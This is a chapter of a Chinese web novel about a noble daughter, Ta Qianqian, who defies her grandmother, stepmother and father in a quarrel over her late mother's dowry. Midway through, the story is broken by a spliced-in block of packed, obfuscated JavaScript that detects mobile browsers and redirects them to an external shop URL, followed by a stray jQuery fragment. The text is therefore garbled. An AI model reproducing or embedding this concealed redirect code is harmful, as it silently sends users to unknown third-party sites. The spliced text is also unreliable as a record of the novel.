“哦哦。”珠心立刻从怀中取出了几个油纸包,递给了贺浅浅,“小姐,你也吃!”
贺浅浅看着她那副纯真的模样,想到她前世的模样,愈发怜惜。
她摇了摇头,道:“珠心,你吃吧,我不饿。”
真是个傻孩子,有什么好吃的,第一时间想着的都是她。
“小姐……”珠心嘟起嘴,一副可怜巴巴的模样。
“吃吧,别担心。”贺浅浅又道,“你就当这是命令。”
“嗯嗯!”珠心听了这番话,才埋下头,又将腮帮塞了个滚圆。
贺浅浅在心里正在捋着她目前知道的的关系。
已知,贺邬的地位是梁家抬上去的。
其次,南离国的文官集团内部,已经是一团乱麻,主战派,主和派,投降派,以及跑路派,各派的嘴皮子都在乱战,没有任何一个派系能够真正站出来说话。
也就是说,南离国的文官集团,并非铁板一片。
而贺邬能够当上丞相,不止是因为武将的支持,更是因为在文官集团里,他是最没有背景的那一个。
大部分的实权都握在俗称“崔半朝”的崔家手里,相当于和皇室平分南离了。
而离国,又是属于典型的国力孱弱,但商业兴盛的国家,只有面对敌国的铁骑时,才会有共同恐惧。
所以,要是想要拿捏这些朝堂上的老东西,就必须要让他们的实际利益有所动摇。
贺浅浅还在思考的时候,一阵急促的敲门声就响了起来。
“大小姐,大小姐!”一个女声响了起来,“老爷叫你到前厅一叙。”
“知道了,马上去。”贺浅浅应道。
“大小姐,请勿麻烦老奴了,老爷下令,我务必要将您带到。”女声有些为难地道。
“好。”贺浅浅起身,理了理衣襟,“我们走。”
珠心擦了擦嘴,赶紧跟了上去。
在门口等待的女人,正是贺邬身边的一个嬷嬷。
那是从贺老太太手里拿过来的人,这个嬷嬷一般是不会出马的。
除非,贺老太太也来了。
贺浅浅愈发感觉无语,只觉她真是吃的太饱了,才会来管儿子家的闲事。
老的头发都白了,自己好好过自己的日子,就那么难?
这老东西要是被气出个好歹,又要开始头疼、心疼、腿疼各种被气晕过去,然后借机来罚她。
“还请大小姐快走几步,老太太还在等着呢。”嬷嬷的声音十分冷淡。
“知道了。”贺浅浅皱了皱眉,只觉他们一个个的都是那么烦人。
天天不是管一些鸡毛蒜皮的小事,就是去八卦别人家后宅下三道的那点事。
如果她们能创造一点劳动价值,贺浅浅倒是还不会有那么大的反感。
国家都快要亡了,还在这里闹来闹去,简直是没一个人能干点正事。
还没走到前厅,贺浅浅就已经能听见一群女人的哭声。
“老太太,你可要为我们做主啊——”
就数余氏叫的最大声!
“呜呜呜,老夫人,你快看夫人的脸呀,就是那个小畜生划坏的!她以后可怎么见人呀?”
其次,就是周姨娘那暗含着幸灾乐祸的声音。
贺邬至少有六个妾室,其中不乏有同僚送来的。
而不能够为余氏所用的,早就在这十几年间,被清出去,或者以各种名义被送出去了。
所以能留下的,多是巧言令色的。
“祖母。”贺浅浅不卑不亢地走到了前厅,冲着老太太点了点头,就一下子坐到了那金丝楠木的椅子上。
老太太瞪着眼睛,看着贺浅浅那稳如泰山的坐姿,气得眼珠子都要瞪出来了。
“你,你……”老太太伸出一根如同枯木般的手指,颤颤巍巍地指向了贺浅浅,“你怎么敢坐到这个位置上!”
贺浅浅接过一杯清茶,慢悠悠地抿了一口,才答道:“我怎么不敢?这可是我母亲的陪嫁,我母亲的东西,我最有资格坐了。”
“你简直不可理喻!”老太太破口大骂道,“既然你母亲已经嫁入贺家,那她的东西,就都是我们贺家的!”
“哦?”贺浅浅挑了挑眉,“这事我爹知道吗?”
“你还有脸提你爹!”老太太将话锋一转,指向了啼哭中的余氏,“你看看她这副模样!你对得起你爹对你的教养吗?”
“你在说什么啊?”贺浅浅睁着一双无辜的眼睛,“她不就是个继室吗?说白了就是个外室抬上来的,别说南离了,就算是北盛这种专制国家,她都是不允许做正室的。我只是收了点这么多年风风光光的利息,她还想怎么样?”
“你!你血口喷人!我们这是南离!你不要转移话题!”余氏跪在地上,尖叫道。
贺浅浅只感觉耳朵简直是被贯穿了,皱眉道:“如此吵吵嚷嚷,成何体统?怪不得京城里这么多夫人,一个个都看不起你。”
“你说什么!”余氏瞪大了眼睛,不可思议地望向了贺浅浅。
“我难道说错了吗?”贺浅浅装作无辜道,“我记得没错的话,那个野种也到了出嫁的年纪吧?你看城中有没有适龄的公子和她议亲?”
“你,你……”
“哦,我想起来了。”贺浅浅一拍大腿,“怪不得你们两个野种这么算计我,原来是为了买一送一,挤破了头要进皇室啊。”
“你闭嘴!”
“我忘了,如果没有我,你那个只有着野种身份的女儿,是不可能让那些有头有脸的家族议亲的。”贺浅浅还不忘了火上浇油,“你真应该三跪九叩,感谢我这位嫡嫡道道的大小姐没给你丢出门去。”
事到如今,还真得感谢当年将军府的权柄。
若不是有将军府的外祖父压着,没准贺邬还真要坐实了婚前和外室私通生下一子。
在外祖父和舅舅的压力下,贺邬不得不对外承认了贺微微是余氏在外和别人生下的孩子,由于顾及年少情谊,才将她们抱回府中抚养。
怕不是京城里有脑子的人家都看出来了,贺微微的身世古怪,所以他们才不愿意去接这个烫手山芋吧。
“给我闭嘴!”老太太狠狠摔了一下拐杖,厉声道,“贺浅浅,你现在像个什么样子!满口胡言乱语,污言秽语,哪里像是个正常的姑娘家!”
贺浅浅有些无奈地耸了耸肩:“那你得问你这位好儿媳了,你可以好好问问她,有没有给我请教书先生,有没有给我请正经的教习嬷嬷。”
余氏刚要开口回答,就被贺浅浅威逼利诱了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757753|209546||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“你最好想清楚再说,毕竟我不保证,一会儿父亲会不会来。”
看着眼前少女那张皮笑肉不笑的脸,余氏只能咬碎了牙往肚子里咽。
“你,你,你真是有本事!竟还敢抬出你父亲!”憋了半天,她只得说出了这一句话。
“哦,难道你不能面对自己?”贺浅浅笑道,“好歹要把你之前做过的事情,都找个见证人吧。”
“见证人?”余氏听着这个陌生的词汇,思索了一下,就指向了身边的诸位姨娘,“她们都是见证人!”
“珠心!”
余氏的话音未落,贺浅浅的怒喝声比她快一步响彻前厅。
刹那间,前厅挂着的那把宝刀,就立刻在少女的手中出鞘!
珠心狠狠地用手中宝刀划过,前厅登时响起一阵破空声。
“见证人呢!给我站出来!”贺浅浅厉喝道,“若是说不出个一二来,就和我的珠心说去吧!”
“你放肆!”
比姨娘们的推脱声先响起的,是贺邬的叫骂。
“你竟敢在前厅耀武扬威!”贺邬指着贺浅浅,厉声道,“若不是我及时赶到,你是不是连你的祖母都敢砍了?”
“有何不可?”贺浅浅歪头,直视着贺邬,“第一,她既没生我,也没养我;第二,她不分青红皂白,就要为余氏偏袒;第三,她凭什么不让我坐在我母亲的嫁妆上?”
“这是你祖母!”
“所以呢?”贺浅浅摊手,“我连贺家都可以不要,更何况一个老太太?”
话音刚落,前厅内顿时死寂下来。
合着这还真是个胆子大的,连自己的家族都可以弃之不顾。
在这个国家,若是一个女子愿意脱离家族,独立出府,要么就是名声烂透了,和府上切割;要么就是一个彻底被抛弃的弃子。
总而言之,无论是什么原因,这种行径都和疯了没区别。
这时候,这些姨娘才知道她们到底惹上了什么人物。
是在这个背景下,连自己的名声都弃置于不顾的大小姐。
“你不要胡言乱语。”贺邬听了这话,语气倒是软了不少,“以后少说胡话,赶紧回良亭去,莫要出来惹事。”
“凭什么?”贺浅浅一摊手,“你这么说,那就是说我是贺家人咯?那我问你,这也是我家了?”
“当然。”
“那我凭什么要回去,腿长在我身上,我想去哪就去哪。”
“你不要乱说胡话了,快和你的祖母请安,再回……”
“凭什么?”贺浅浅仰起头,一副不服不忿的样子,“你要知道,你现在的一切,都是梁家给的,知道吗?你们贺家的所有人,最好认清自己的位置!谁要是再敢像余氏这样轻慢我,我下手,绝对比余氏还狠,记住了吗?”
贺浅浅这话可不是开玩笑的。
因为这些妾室,上辈子和这辈子都给了她不少苦难。
什么馊饭,体罚,诬陷……简直是路过就要给她来一套。
要不是因为名声,她早就选择把这些女人都解决掉了!
不过,来日方长。
如果她们没有听贺浅浅这最后通牒,那么下死手的,可就不是她了。
毕竟,现在贺家的房梁上,还挂着两个暗卫。